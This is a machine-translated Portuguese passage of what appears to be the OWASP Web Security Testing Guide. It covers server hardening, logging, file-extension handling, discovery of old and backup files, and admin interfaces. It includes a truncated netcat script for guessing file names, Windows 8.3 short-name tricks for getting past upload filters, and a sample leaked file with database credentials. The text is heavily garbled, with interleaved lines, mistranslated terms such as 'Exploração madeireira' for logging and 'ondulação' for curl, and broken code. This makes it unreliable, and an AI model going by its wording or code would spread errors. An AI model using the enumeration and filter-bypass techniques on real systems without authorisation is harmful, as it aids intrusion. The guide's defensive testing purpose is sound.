no software do fornecedor afetem o site se estiverem presentes apenas em módulos que já foram desativados.
Lide com erros de servidor (40x ou 50x) com páginas personalizadas em vez de páginas padrão do servidor da Web.
Especificamente, certifique-se de que nenhum erro de aplicativo seja retornado ao usuário final e que nenhum código vaze por meio desses erros, pois isso
ajudará um invasor. Na verdade, é muito comum esquecer esse ponto, pois os desenvolvedores precisam dessas informações em ambientes de pré-
produção.
Certifique-se de que o software do servidor seja executado com privilégios minimizados no sistema operacional. Isso evita que um erro no software do
servidor comprometa diretamente todo o sistema, embora um invasor possa elevar os privilégios ao executar o código como servidor da web.
Certifique-se de que o servidor esteja configurado para lidar adequadamente com sobrecargas e evitar ataques de negação de serviço. Certifique-se de que
Nunca conceda identidades não administrativas (com exceção de NT SERVICE\WMSvc ) acesso a applicationHost.config, redirection.config e
Administration.config (acesso de leitura ou gravação). Isso inclui ou qualquer identidade personalizada usada por pools de aplicativos IIS. Processos de
Serviço de rede , IIS_IUSRS , IUSR , trabalho do IIS
Nunca compartilhe applicationHost.config, redirection.config e Administration.config na rede. Ao usar a Configuração compartilhada, prefira exportar
applicationHost.config para outro local (consulte a seção intitulada “Definindo permissões para configuração compartilhada).
Lembre-se de que todos os usuários podem ler arquivos .NET Framework machine.config e root web.config por padrão. Não armazene informações
Criptografe informações confidenciais que devem ser lidas apenas pelos processos de trabalho do IIS e não por outros usuários na máquina.
Não conceda acesso de gravação à identidade que o servidor Web usa para acessar o applicationHost.config compartilhado .
Use uma identidade separada para publicar applicationHost.config no compartilhamento. Não use esta identidade para configurar o acesso à configuração
Use uma senha forte ao exportar as chaves de criptografia para uso com configuração compartilhada.
Mantenha o acesso restrito ao compartilhamento que contém a configuração compartilhada e as chaves de criptografia. Se esse compartilhamento for
comprometido, um invasor poderá ler e gravar qualquer configuração do IIS para seus servidores Web, redirecionar o tráfego
Machine Translated by Google
93
do seu site da Web para fontes maliciosas e, em alguns casos, obter o controle de todos os servidores da Web carregando código arbitrário nos processos de trabalho
do IIS.
Considere proteger esse compartilhamento com regras de firewall e políticas IPsec para permitir que apenas os servidores Web membros
conectar.
Exploração madeireira
O registro é um recurso importante da segurança de uma arquitetura de aplicativo, pois pode ser usado para detectar falhas em aplicativos (usuários constantemente
tentando recuperar um arquivo que realmente não existe), bem como ataques contínuos de usuários não autorizados. Os logs são normalmente gerados corretamente pela
Web e outro software de servidor. Não é comum encontrar aplicativos que registrem adequadamente suas ações em um log e, quando o fazem, a principal intenção dos logs
do aplicativo é produzir uma saída de depuração que possa ser usada pelo programador para analisar um determinado erro.
Em ambos os casos (logs do servidor e do aplicativo) vários problemas devem ser testados e analisados com base no conteúdo do log:
4. Como eles são girados? Os logs são mantidos por tempo suficiente?
5. Como os logs são revisados? Os administradores podem usar essas análises para detectar ataques direcionados?
7. Os dados que estão sendo registrados são validados (comprimento mínimo/máximo, caracteres, etc.) antes de serem registrados?
Alguns aplicativos podem, por exemplo, usar solicitações GET para encaminhar dados de formulário que serão vistos nos logs do servidor.
Isso significa que os logs do servidor podem conter informações confidenciais (como nomes de usuário como senhas ou detalhes de contas bancárias). Essas informações
confidenciais podem ser mal utilizadas por um invasor se ele obtiver os logs, por exemplo, por meio de interfaces administrativas ou vulnerabilidades conhecidas do servidor
da Web ou configuração incorreta (como a conhecida configuração incorreta do status do servidor em servidores HTTP baseados em Apache).
Os logs de eventos geralmente contêm dados que são úteis para um invasor (vazamento de informações) ou podem ser usados diretamente em explorações:
Informações de depuração
Rastreamentos de pilha
Nomes de usuário
Endereços IP internos
Dados pessoais menos sensíveis (por exemplo, endereços de e-mail, endereços postais e números de telefone associados a indivíduos nomeados)
dados comerciais
Além disso, em algumas jurisdições, armazenar algumas informações confidenciais em arquivos de log, como dados pessoais, pode obrigar a empresa a aplicar as leis de
proteção de dados que aplicariam a seus bancos de dados de back-end para arquivos de log também. E deixar de fazê-lo, mesmo sem saber, pode acarretar penalidades
Código-fonte do aplicativo
Tokens de acesso
senhas de autenticação
chaves de criptografia
Dados de uma classificação de segurança mais alta do que o sistema de registro pode armazenar
Informações que um usuário optou por não coletar ou não consentiu, por exemplo, uso de não rastrear ou quando o consentimento para coletar expirou
Localização do registro
Normalmente, os servidores geram logs locais de suas ações e erros, consumindo o disco do sistema em que o servidor está sendo executado. No entanto, se o
servidor for comprometido, seus logs podem ser apagados pelo intruso para limpar todos os vestígios de seu ataque e métodos. Se isso acontecesse, o administrador
do sistema não teria conhecimento de como o ataque ocorreu ou onde a origem do ataque estava localizada. Na verdade, a maioria dos kits de ferramentas do invasor
''
isso énos
inclui um “log zapper” para limpar quaisquer logs que contenham informações fornecidas (como o endereço IP do invasor) e são usados rotineiramente capaz
root kits
Conseqüentemente, é mais sensato manter os logs em um local separado e não no próprio servidor web. Isso também facilita a agregação de logs de diferentes
fontes que se referem ao mesmo aplicativo (como os de um farm de servidores da Web) e também facilita a análise de log (que pode exigir uso intensivo da CPU)
Armazenamento de registros
Os logs podem apresentar uma condição de negação de serviço se não forem armazenados adequadamente. Qualquer invasor com recursos suficientes poderia
produzir um número suficiente de solicitações que preencheriam o espaço alocado para arquivos de log, se não fossem especificamente impedidos de fazê-lo. No
entanto, se o servidor não estiver configurado corretamente, os arquivos de log serão armazenados na mesma partição de disco usada pelo software do sistema
operacional ou pelo próprio aplicativo. Isso significa que, se o disco ficar cheio, o sistema operacional ou o aplicativo poderá falhar porque não consegue gravar no
disco.
Normalmente, em sistemas UNIX, os logs estarão localizados em /var (embora algumas instalações de servidor possam residir em /opt ou /usr/local) e é importante
certificar-se de que os diretórios nos quais os logs são armazenados estejam em uma partição separada. Em alguns casos, e para evitar que os logs do sistema sejam
afetados, o diretório de log do próprio software do servidor (como /var/log/apache no servidor web Apache) deve ser armazenado em uma partição dedicada.
Isso não quer dizer que os logs devam crescer para preencher o sistema de arquivos em que residem. O crescimento dos logs do servidor deve ser monitorado para
Testar essa condição é tão fácil e tão perigoso em ambientes de produção quanto disparar um número suficiente e sustentado de solicitações para ver se essas
solicitações são registradas e se existe a possibilidade de preencher a partição de log por meio dessas solicitações. Em alguns ambientes onde os parâmetros
QUERY_STRING também são logados independentemente de serem produzidos através de requisições GET ou POST, podem ser simuladas grandes queries que
preencherão os logs mais rapidamente já que, normalmente, uma única requisição fará com que apenas uma pequena quantidade de dados seja registrados, como
Rotação de registro
A maioria dos servidores (mas poucos aplicativos personalizados) alternará os logs para evitar que eles preencham o sistema de arquivos em que residem. A
suposição ao girar toras é que as informações contidas nelas são necessárias apenas para uma quantidade limitada de
Tempo.
Os logs são mantidos pelo tempo definido na política de segurança, nem mais nem menos.
Os logs são compactados uma vez girados (isso é uma conveniência, pois significa que mais logs serão armazenados para o mesmo espaço em disco
disponível).
As permissões do sistema de arquivos dos arquivos de log girados são as mesmas (ou mais rígidas) que as dos próprios arquivos de log. Por exemplo, os
servidores da Web precisarão gravar nos logs que usam, mas na verdade não precisam gravar nos logs rotacionados, o que significa
Machine Translated by Google
95
que as permissões dos arquivos podem ser alteradas durante a rotação para evitar que o processo do servidor web as modifique.
Alguns servidores podem rotacionar logs quando atingem um determinado tamanho. Se isso acontecer, deve-se garantir que um invasor não possa
forçar a rotação das toras para ocultar seus rastros.
As informações do log de eventos nunca devem estar visíveis para os usuários finais. Mesmo os administradores da web não devem ser capazes de
ver esses logs, pois isso quebra os controles de separação de tarefas. Certifique-se de que qualquer esquema de controle de acesso usado para
proteger o acesso a logs brutos e quaisquer aplicativos que forneçam recursos para visualizar ou pesquisar os logs não esteja vinculado a esquemas
de controle de acesso para outras funções de usuário do aplicativo. Nenhum dado de log deve ser visualizado por usuários não autenticados.
Revisão de registro
A revisão de logs pode ser usada para mais do que extração de estatísticas de uso de arquivos nos servidores da web (que normalmente é o foco da
maioria dos aplicativos baseados em log), mas também para determinar se os ataques ocorrem no servidor da web.
Para analisar os ataques do servidor da Web, os arquivos de log de erros do servidor precisam ser analisados. A revisão deve se concentrar
em:
40x (não encontrado) mensagens de erro. Uma grande quantidade deles da mesma fonte pode ser indicativo de uma ferramenta de scanner
CGI sendo usada nas mensagens do servidor da web 50x (erro do servidor). Isso pode ser uma indicação de que um invasor está abusando de
partes do aplicativo que falham inesperadamente. Por exemplo, as primeiras fases de um ataque de injeção SQL produzirão essas mensagens
de erro quando a consulta SQL não for construída corretamente e sua execução falhar no banco de dados de back-end.
As estatísticas ou análises de log não devem ser geradas, nem armazenadas, no mesmo servidor que produz os logs. Caso contrário, um invasor
pode, por meio de uma vulnerabilidade do servidor da Web ou configuração inadequada, obter acesso a eles e recuperar informações semelhantes
às divulgadas pelos próprios arquivos de log.
Referências
Apache
Ajuste de desempenho
lótus dominó
Lotus Security Handbook, William Tworek et al., abril de 2004, disponível na coleção IBM Redbooks Lotus Domino Security,
um white paper da X-force, Internet Security Systems, dezembro de 2002 Hackproofing Lotus Domino Web Server, David
Microsoft IIS
Protegendo seu servidor da Web (padrões e práticas), Microsoft Corporation, janeiro de 2004 IIS Security and
Programming Countermeasures, por Jason Coombs From Blueprint to Fortress: A Guide to Securing IIS 5.0, por
Lista de verificação do Secure Internet Information Services 5, por Michael Howard, Microsoft Corporation, junho de 2000
Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, por James M Hayes, The Network
Applications Team of the Systems and Network Attack Center (SNAC), NSA, janeiro de 2001
WebSphere
IBM WebSphere V5.0 Security, WebSphere Handbook Series, por Peter Kovari et al., IBM, dezembro de 2002.
IBM WebSphere V4.0 Advanced Edition Security, por Peter Kovari et al., IBM, março de 2002.
Em geral
PCI DSS v3.2.1 Requisito 10 e PA-DSS v3.2 Requisito 4, PCI Security Standards Council
Genérico:
EU IRIA
WSTG-CONF-03
Resumo
As extensões de arquivo são comumente usadas em servidores da Web para determinar facilmente quais tecnologias, idiomas e plug-ins devem ser usados
para atender à solicitação da Web. Embora esse comportamento seja consistente com RFCs e padrões da Web, o uso de extensões de arquivo padrão
fornece ao testador de penetração informações úteis sobre as tecnologias subjacentes usadas em um dispositivo da web e simplifica muito a tarefa de
determinar o cenário de ataque a ser usado em tecnologias específicas. Além disso, a configuração incorreta de servidores da Web pode facilmente revelar
informações confidenciais sobre credenciais de acesso.
A verificação de extensão geralmente é usada para validar arquivos a serem carregados, o que pode levar a resultados inesperados porque o conteúdo não
é o esperado ou devido ao tratamento inesperado do nome de arquivo do sistema operacional.
Determinar como os servidores da Web lidam com solicitações correspondentes a arquivos com diferentes extensões pode ajudar a entender o comportamento
do servidor da Web, dependendo do tipo de arquivo acessado. Por exemplo, pode ajudar a entender quais extensões de arquivo são retornadas como texto
ou sem formatação versus aquelas que causam execução no lado do servidor. Os últimos são indicativos de tecnologias, idiomas ou plug-ins usados por
servidores da Web ou servidores de aplicativos e podem fornecer informações adicionais sobre como o aplicativo da Web é projetado. Por exemplo, uma
extensão “.pl” é geralmente associada ao suporte Perl do lado do servidor. No entanto, a extensão do arquivo por si só pode ser enganosa e não totalmente
conclusiva.
Por exemplo, os recursos Perl do lado do servidor podem ser renomeados para ocultar o fato de que são realmente relacionados ao Perl. Consulte a próxima
seção sobre “componentes do servidor da Web” para obter mais informações sobre como identificar tecnologias e componentes do lado do servidor.
Objetivos do teste
Extensões de arquivo confidenciais Dirbust ou extensões que podem conter dados brutos (por exemplo , scripts, dados brutos, credenciais, etc.).
Como testar
Navegação forçada Envie
solicitações com diferentes extensões de arquivo e verifique como elas são tratadas. A verificação deve ser feita por diretório da web. Verifique os diretórios
que permitem a execução do script. Os diretórios do servidor Web podem ser identificados por ferramentas de varredura que procuram a presença de diretórios
conhecidos. Além disso, espelhar a estrutura do site da Web permite que o testador reconstrua a árvore de diretórios da Web servidos pelo aplicativo.
Se a arquitetura do aplicativo da web tiver balanceamento de carga, é importante avaliar todos os servidores da web. Isso pode ou não ser fácil, dependendo
da configuração da infraestrutura de balanceamento. Em uma infraestrutura com componentes redundantes, pode haver pequenas variações na configuração
de cada servidor web ou de aplicativos. Isso pode acontecer se a arquitetura da web empregar tecnologias heterogêneas (pense em um conjunto de servidores
web IIS e Apache em uma configuração de balanceamento de carga, que pode introduzir um comportamento ligeiramente assimétrico entre eles e,
possivelmente, diferentes vulnerabilidades).
Exemplo
O testador identificou a existência de um arquivo chamado connection.inc . Tentar acessá-lo diretamente devolve seu conteúdo, que são:
<?
mysql_connect("127.0.0.1", "root", "senha") ou die("Não foi
possível conectar");
?>
Machine Translated by Google
98
O testador determina a existência de um back-end MySQL DBMS e as credenciais (fracas) usadas pelo aplicativo da web para acessá-lo.
As seguintes extensões de arquivo nunca devem ser retornadas por um servidor da Web, pois estão relacionadas a arquivos que podem conter informações
confidenciais ou a arquivos para os quais não há motivo para serem atendidos.
.como um
.inc
.config
As seguintes extensões de arquivo estão relacionadas a arquivos que, quando acessados, são exibidos ou baixados pelo navegador. Portanto, arquivos com
essas extensões devem ser verificados para verificar se eles realmente devem ser servidos (e não são sobras) e se não contêm informações confidenciais.
.bak , .old e outras extensões indicativas de arquivos de backup (por exemplo: ~ para arquivos de backup do Emacs)
A lista fornecida acima detalha apenas alguns exemplos, uma vez que as extensões de arquivo são muitas para serem tratadas de forma abrangente aqui.
Consulte FILExt para um banco de dados mais completo de extensões.
Para identificar arquivos com determinadas extensões, uma combinação de técnicas pode ser empregada. Essas técnicas podem incluir Scanners de
Vulnerabilidade, ferramentas de spidering e espelhamento, inspeção manual do aplicativo (isso supera as limitações do spidering automático), consulta a
mecanismos de pesquisa (consulte Testes: Spidering e googling). Consulte também Testando arquivos antigos, de backup e não referenciados, que trata dos
problemas de segurança relacionados a arquivos “esquecidos”.
Carregar arquivo
Às vezes, a manipulação de arquivos herdados do Windows 8.3 pode ser usada para derrotar os filtros de upload de arquivos.
Exemplos de uso:
4. SHELL~1.PHP será expandido e retornado pelo shell do SO, então processado pelo manipulador PHP ISAPI.
execução de testes de caixa branca em relação ao manuseio de extensões de arquivo equivale a verificar as configurações de servidores da Web ou servidores
de aplicativos que fazem parte da arquitetura do aplicativo da Web e verificar como eles são instruídos a atender a diferentes extensões de arquivo.
Se o aplicativo da web depende de uma infraestrutura heterogênea com balanceamento de carga, determine se isso pode introduzir um comportamento
diferente.
Ferramentas
Scanners de vulnerabilidade, como Nessus e Nikto, verificam a existência de diretórios da web conhecidos. Eles podem permitir que o testador baixe a
estrutura do site da Web, o que é útil ao tentar determinar a configuração de diretórios da Web e como as extensões de arquivos individuais são atendidas.
Outras ferramentas que podem ser usadas para esse fim incluem:
Machine Translated by Google
99
wget
ondulação
EU IRIA
WSTG-CONF-04
Resumo
Embora a maioria dos arquivos em um servidor da Web sejam manipulados diretamente pelo próprio servidor, não é incomum encontrar arquivos não
referenciados ou esquecidos que podem ser usados para obter informações importantes sobre a infraestrutura ou as credenciais.
Os cenários mais comuns incluem a presença de versões antigas renomeadas de arquivos modificados, arquivos de inclusão que são carregados no
idioma de sua escolha e podem ser baixados como fonte, ou mesmo backups automáticos ou manuais na forma de arquivos compactados. Os arquivos de
backup também podem ser gerados automaticamente pelo sistema de arquivos subjacente no qual o aplicativo está hospedado, um recurso geralmente
chamado de “instantâneos”.
Todos esses arquivos podem conceder ao testador acesso ao funcionamento interno, backdoors, interfaces administrativas ou até mesmo credenciais para
se conectar à interface administrativa ou ao servidor de banco de dados.
Uma fonte importante de vulnerabilidade reside em arquivos que não têm nada a ver com o aplicativo, mas são criados como consequência da edição de
arquivos do aplicativo, ou após a criação de cópias de backup instantâneas, ou deixando na árvore da Web arquivos antigos ou arquivos sem referência
Executar edição no local ou outras ações administrativas em servidores da Web de produção pode deixar inadvertidamente cópias de backup, geradas
automaticamente pelo editor durante a edição de arquivos ou pelo administrador que está compactando um conjunto de arquivos para criar um backup.
É fácil esquecer esses arquivos e isso pode representar uma séria ameaça à segurança do aplicativo. Isso acontece porque as cópias de segurança podem
ser geradas com extensões de arquivos diferentes dos arquivos originais. Um arquivo .tar , .zip ou .gz que geramos (e esquecemos…) tem
umaobviamente
extensão
diferente, e o mesmo acontece com cópias automáticas criadas por muitos editores (por exemplo, o emacs gera uma cópia de backup chamada file~ ao
editar o arquivo ).
Fazer uma cópia à mão pode produzir o mesmo efeito (pense em copiar arquivo para arquivo.old ). O sistema de arquivos subjacente em que o aplicativo
está pode estar fazendo instantâneos de seu aplicativo em diferentes pontos no tempo sem o seu conhecimento, que também podem ser acessados pela
Web, representando uma ameaça de estilo de arquivo de backup semelhante, mas diferente para seu aplicativo.
Como resultado, essas atividades geram arquivos que não são necessários para o aplicativo e podem ser manipulados de forma diferente do arquivo
Nós estamos
original pelo servidor web. Por exemplo, se fizermos uma cópia de login.asp chamada login.asp.old , permitindo que os usuários baixem o código-fonte de
login.asp . Isso ocorre porque login.asp.old normalmente será servido como texto ou simples, em vez de ser executado por causa de sua extensão. Em
outras palavras, acessar login.asp causa a execução do código do lado do servidor de login.asp , enquanto acessar login.asp.old faz com que o conteúdo
de login.asp.old (que é, novamente, código do lado do servidor) seja ser claramente retornado aopois
riscos de segurança, usuário e exibidoconfidenciais
informações no navegador. Isso ser
podem pode representar
reveladas.
Geralmente, expor o código do lado do servidor é uma má ideia. Você não apenas está expondo desnecessariamente a lógica de negócios, mas também
pode estar revelando inadvertidamente informações relacionadas ao aplicativo que podem ajudar um invasor (nomes de caminho, estruturas de dados,
etc.). Sem mencionar o fato de que existem muitos scripts com nome de usuário e senha embutidos em texto não criptografado (o que é uma prática
descuidada e muito perigosa).
Outras causas de arquivos não referenciados são devido a opções de design ou configuração quando permitem que diversos tipos de arquivos relacionados
ao aplicativo, como arquivos de dados, arquivos de configuração, arquivos de log, sejam armazenados em diretórios do sistema de arquivos que podem ser
acessados pelo servidor da web. Esses arquivos normalmente não têm motivo para estar em um espaço do sistema de arquivos que possa ser acessado
Machine Translated by Google
101
via web, pois devem ser acessados apenas no nível do aplicativo, pelo próprio aplicativo (e não pelo usuário casual que navega por aí).
Ameaças
Arquivos antigos, de backup e não referenciados apresentam várias ameaças à segurança de um aplicativo da web:
Arquivos não referenciados podem divulgar informações confidenciais que podem facilitar um ataque direcionado contra o aplicativo; por
exemplo, inclua arquivos contendo credenciais de banco de dados, arquivos de configuração contendo referências a outro conteúdo oculto,
caminhos de arquivo absolutos, etc.
Páginas não referenciadas podem conter funcionalidades poderosas que podem ser usadas para atacar o aplicativo; por exemplo, uma
página de administração que não está vinculada ao conteúdo publicado, mas pode ser acessada por qualquer usuário que saiba onde
encontrá-la.
Arquivos antigos e de backup podem conter vulnerabilidades que foram corrigidas em versões mais recentes; por exemplo , viewdoc.old.jsp
pode conter uma vulnerabilidade de passagem de diretório que foi corrigida em viewdoc.jsp , mas ainda pode ser explorada por qualquer
pessoa que encontrar a versão antiga.
Os arquivos de backup podem divulgar o código-fonte das páginas projetadas para serem executadas no servidor; por exemplo, solicitar
viewdoc.bak pode retornar o código-fonte para viewdoc.jsp , que pode ser encontrar
revisado quanto
fazendo
a vulnerabilidades
solicitações cegas
que
à página
podemexecutável.
ser difíceis de
Embora
essa ameaça obviamente se aplique a linguagens de script, como Perl, PHP, ASP, shell scripts, JSP etc., ela não se limita a elas, conforme
mostrado no exemplo fornecido no próximo marcador.
Os arquivos de backup podem conter cópias de todos os arquivos dentro (ou mesmo fora) do webroot. Isso permite que um invasor enumere
rapidamente todo o aplicativo, incluindo páginas não referenciadas, código-fonte, arquivos de inclusão etc. você está expondo muitas
informações confidenciais que são suscetíveis à descompilação e engenharia reversa.
Em alguns casos, copiar ou editar um arquivo não modifica a extensão do arquivo, mas modifica o nome do arquivo. Isso acontece, por
exemplo, em ambientes Windows, onde as operações de cópia de arquivos geram nomes de arquivos prefixados com “Cópia de “ ou versões
localizadas dessa string. Como a extensão do arquivo permanece inalterada, esse não é um caso em que um arquivo executável é retornado
como texto simples pelo servidor da Web e, portanto, não é um caso de divulgação do código-fonte.
No entanto, esses arquivos também são perigosos porque há uma chance de incluirem lógica obsoleta e incorreta que, quando invocada,
pode acionar erros de aplicativo, que podem fornecer informações valiosas a um invasor, se a exibição de mensagens de diagnóstico estiver
habilitada.
Os arquivos de log podem conter informações confidenciais sobre as atividades dos usuários do aplicativo, por exemplo, dados confidenciais
transmitidos em parâmetros de URL, IDs de sessão, URLs visitados (que podem divulgar conteúdo adicional não referenciado) etc.
Outros arquivos de log (por exemplo, logs de ftp) podem conter informações confidenciais sobre a manutenção do aplicativo pelo sistema
administradores.
Os instantâneos do sistema de arquivos podem conter cópias do código que contêm vulnerabilidades que foram corrigidas em versões mais
recentes. Por exemplo , /.snapshot/monthly.1/view.php pode conter uma vulnerabilidade de travessia de diretório que foi corrigida em /
view.php , mas ainda pode ser explorada por qualquer pessoa que encontrar a versão antiga.
Objetivos do teste
Encontre e analise arquivos não referenciados que possam conter informações confidenciais.
Como testar
Teste de Caixa Preta
O teste de arquivos não referenciados usa técnicas automatizadas e manuais e geralmente envolve uma combinação do seguinte:
Enumere todas as páginas e funcionalidades do aplicativo. Isso pode ser feito manualmente usando um navegador ou usando uma ferramenta de
spidering de aplicativo. A maioria dos aplicativos usa um esquema de nomenclatura reconhecível e organiza recursos em páginas e diretórios
usando palavras que descrevem sua função. A partir do esquema de nomenclatura usado para o conteúdo publicado, muitas vezes é
Machine Translated by Google
102
possível inferir o nome e a localização de páginas não referenciadas. Por exemplo, se uma página viewuser.asp for encontrada, procure também
por edituser.asp , adduser.asp e deleteuser.asp . Se um diretório /app/user for encontrado, procure também por /app/admin e /app/manager .
Muitos aplicativos da Web deixam pistas no conteúdo publicado que podem levar à descoberta de páginas e funcionalidades ocultas. Essas pistas
geralmente aparecem no código-fonte de arquivos HTML e JavaScript. O código-fonte de todo o conteúdo publicado deve ser revisado manualmente
para identificar pistas sobre outras páginas e funcionalidades. Por exemplo:
Os comentários dos programadores e as seções comentadas do código-fonte podem se referir a conteúdo oculto:
<!-- <A HREF="uploadfile.jsp">Enviar um documento para o servidor</A> --> <!-- Link removido enquanto bugs em
uploadfile.jsp são corrigidos -->
O JavaScript pode conter links de páginas que são renderizados apenas na GUI do usuário em determinadas circunstâncias:
var adminUser=false; if
(adminUser) menu.add (novo menuItem ("Manter usuários", "/admin/useradmin.jsp"));
As páginas HTML podem conter FORMs que foram ocultados pela desativação do elemento SUBMIT:
Outra fonte de pistas sobre diretórios não referenciados é o arquivo /robots.txt usado para fornecer instruções aos robôs da web:
*
Agente de usuário:
Não permitir: /Admin
Proibir: /uploads
Não permitir: /backup
Proibir: /~jbloggs
Proibir: /incluir
Adivinhação cega
Em sua forma mais simples, isso envolve a execução de uma lista de nomes de arquivos comuns por meio de um mecanismo de solicitação na
tentativa de adivinhar arquivos e diretórios existentes no servidor. O seguinte script wrapper netcat lerá uma lista de palavras de stdin e executará
um ataque de adivinhação básico:
#!/bin/bash
servidor=exemplo.org porta=80
enquanto lê url
Faz
Dependendo do servidor, GET pode ser substituído por HEAD para resultados mais rápidos. O arquivo de saída especificado pode ser obtido por códigos de resposta
“interessantes”. O código de resposta 200 (OK) geralmente indica que um recurso válido foi encontrado (desde que o servidor não forneça uma página personalizada
“não encontrado” usando o código 200). Mas também procure 301 (Movido), 302 (Encontrado), 401 (Não autorizado), 403 (Proibido) e 500 (Erro interno), que também
podem indicar recursos ou diretórios que merecem uma investigação mais aprofundada.
O ataque básico de adivinhação deve ser executado contra o webroot e também contra todos os diretórios que foram identificados por meio de outras técnicas de
enumeração. Ataques de adivinhação mais avançados/eficazes podem ser executados da seguinte forma:
Identifique as extensões de arquivo em uso em áreas conhecidas do aplicativo (por exemplo, jsp, aspx, html) e use uma lista de palavras básica anexada a cada
uma dessas extensões (ou use uma lista mais longa de extensões comuns, se os recursos permitirem).
Para cada arquivo identificado por meio de outras técnicas de enumeração, crie uma lista de palavras personalizada derivada desse nome de arquivo.
Obtenha uma lista de extensões de arquivo comuns (incluindo ~, bak, txt, src, dev, old, inc, orig, copy, tmp, swp, etc.) e use cada extensão antes, depois e em vez
Observação: as operações de cópia de arquivo do Windows geram nomes de arquivo com o prefixo “Cópia de “ ou versões localizadas dessa sequência, portanto, não
alteram as extensões de arquivo. Embora os arquivos “Cópia de” normalmente não revelem o código-fonte quando acessados, eles podem fornecer informações valiosas
A maneira mais óbvia de um servidor mal configurado revelar páginas não referenciadas é por meio da listagem de diretórios.
Solicite todos os diretórios enumerados para identificar qualquer um que forneça uma listagem de diretórios.
Numerosas vulnerabilidades foram encontradas em servidores web individuais que permitem a um invasor enumerar
Páginas e funcionalidade em aplicativos da Web voltados para a Internet que não são referenciados no próprio aplicativo podem ser referenciados em outras fontes de
As páginas que costumavam ser referenciadas ainda podem aparecer nos arquivos dos mecanismos de pesquisa da Internet. Por exemplo, 1998results.asp pode
não estar mais vinculado a um site da empresa, mas pode permanecer no servidor e em bancos de dados de mecanismos de pesquisa. Esse script antigo pode
conter vulnerabilidades que podem ser usadas para comprometer todo o site. O site: o operador de pesquisa do Google pode ser usado para executar uma
consulta apenas no domínio de sua escolha, como em: site:www.example.com . O uso de mecanismos de pesquisa dessa maneira levou a uma ampla gama de
técnicas que você pode achar úteis e que são descritas na seção Google Hacking deste guia. Confira para aprimorar suas habilidades de teste via Google. Os
arquivos de backup provavelmente não serão referenciados por nenhum outro arquivo e, portanto, podem não ter sido indexados pelo Google, mas se estiverem
Além disso, o Google e o Yahoo mantêm versões em cache das páginas encontradas por seus robôs. Mesmo que 1998results.asp tenha sido removido do servidor
de destino, uma versão de sua saída ainda pode ser armazenada por esses mecanismos de pesquisa. A versão em cache pode conter referências ou pistas sobre
O conteúdo que não é referenciado em um aplicativo de destino pode ser vinculado a sites de terceiros. Por exemplo, um aplicativo que processa pagamentos on-
line em nome de comerciantes terceirizados pode conter uma variedade de funcionalidades personalizadas que (normalmente) só podem ser encontradas seguindo
Como os filtros de lista de negação são baseados em expressões regulares, às vezes pode-se tirar proveito dos recursos obscuros de expansão de nome de arquivo do
sistema operacional, nos quais funcionam de maneiras que o desenvolvedor não esperava. Às vezes, o testador pode explorar diferenças nas maneiras como os nomes
de arquivo são analisados pelo aplicativo, servidor da web e sistema operacional subjacente e suas convenções de nome de arquivo.
Exemplo: expansão de nome de arquivo do Windows 8.3 c:\\arquivos de programa torna -se C:\\PROGRA\~1
Machine Translated by Google
104
Adicione ~<dígito> que é usado para distinguir arquivos com nomes usando os mesmos seis caracteres iniciais
execução de teste de caixa cinza em arquivos antigos e de backup requer o exame dos arquivos contidos nos diretórios pertencentes ao conjunto de
diretórios da Web atendidos pelo(s) servidor(es) da Web da infraestrutura de aplicativos da Web. Teoricamente, o exame deve ser feito manualmente
para ser completo. No entanto, como na maioria dos casos as cópias de arquivos ou arquivos de backup tendem a ser criados usando as mesmas
convenções de nomenclatura, a pesquisa pode ser facilmente codificada. Por exemplo, os editores deixam cópias de backup nomeando-as com uma
extensão ou terminação reconhecível e os humanos tendem a deixar para trás arquivos com .old ou extensões previsíveis semelhantes. Uma boa
estratégia é agendar periodicamente uma verificação de trabalho em segundo plano para arquivos com extensões que possam identificá-los como
arquivos de cópia ou backup e executar verificações manuais também em um período de tempo mais longo.
Remediação
Para garantir uma estratégia de proteção eficaz, os testes devem ser complementados por uma política de segurança que proíba claramente práticas
perigosas, como:
Edição de arquivos no local no servidor da Web ou nos sistemas de arquivos do servidor de aplicativos. Este é um hábito particularmente ruim, pois
é provável que gere arquivos de backup ou temporários pelos editores. É incrível ver com que frequência isso é feito, mesmo em grandes
organizações. Se você absolutamente precisar editar arquivos em um sistema de produção, certifique-se de não deixar para trás nada que não seja
explicitamente pretendido e considere que você está fazendo isso por sua conta e risco.
Verifique cuidadosamente qualquer outra atividade executada em sistemas de arquivos expostos pelo servidor da web, como atividades de
administração pontual. Por exemplo, se ocasionalmente precisar tirar um instantâneo de alguns diretórios (o que não deve ser feito em um sistema
de produção), você pode ficar tentado a compactá-los primeiro. Tenha cuidado para não deixar para trás esses arquivos compactados.
As políticas apropriadas de gerenciamento de configuração devem ajudar a evitar arquivos obsoletos e não referenciados.
Os aplicativos devem ser projetados para não criar (ou depender de) arquivos armazenados nas árvores de diretórios da web servidas pelo servidor
da web. Arquivos de dados, arquivos de log, arquivos de configuração, etc. devem ser armazenados em diretórios não acessíveis pelo servidor da
web, para evitar a possibilidade de divulgação de informações (sem mencionar a modificação de dados se as permissões do diretório da web
permitirem a gravação).
Os instantâneos do sistema de arquivos não devem ser acessíveis pela Web se a raiz do documento estiver em um sistema de arquivos que usa
essa tecnologia. Configure seu servidor web para negar acesso a esses diretórios, por exemplo, no Apache, uma diretiva de localização como esta
deve ser usada:
<Location ~ ".snapshot">
Rejeitar pedido, permitir
Negar de todos
</Local>
Ferramentas
As ferramentas de avaliação de vulnerabilidades tendem a incluir verificações para localizar diretórios da Web com nomes padrão (como “admin”, “teste”,
“backup” etc.) e relatar qualquer diretório da Web que permita a indexação. Se você não conseguir obter nenhuma listagem de diretório, tente verificar as
prováveis extensões de backup. Verifique por exemplo
Nesso
Nikto2
Machine
105
Translated by Google
wget
Sam Spade
ondulação
Alguns deles também estão incluídos nas distribuições padrão do Linux. As ferramentas de desenvolvimento da Web geralmente incluem recursos
para identificar links quebrados e arquivos sem referência.
Machine Translated by Google
106
EU IRIA
WSTG-CONF-05
Resumo
As interfaces do administrador podem estar presentes no aplicativo ou no servidor do aplicativo para permitir que determinados usuários realizem atividades
privilegiadas no site. Testes devem ser realizados para revelar se e como essa funcionalidade privilegiada pode ser acessada por um usuário padrão ou não
autorizado.
Um aplicativo pode exigir uma interface de administrador para permitir que um usuário privilegiado acesse a funcionalidade que pode fazer alterações no
funcionamento do site. Tais mudanças podem incluir:
manipulação de dados
mudanças de configuração
Em muitos casos, essas interfaces não possuem controles suficientes para protegê-las contra acesso não autorizado. O teste visa descobrir essas interfaces
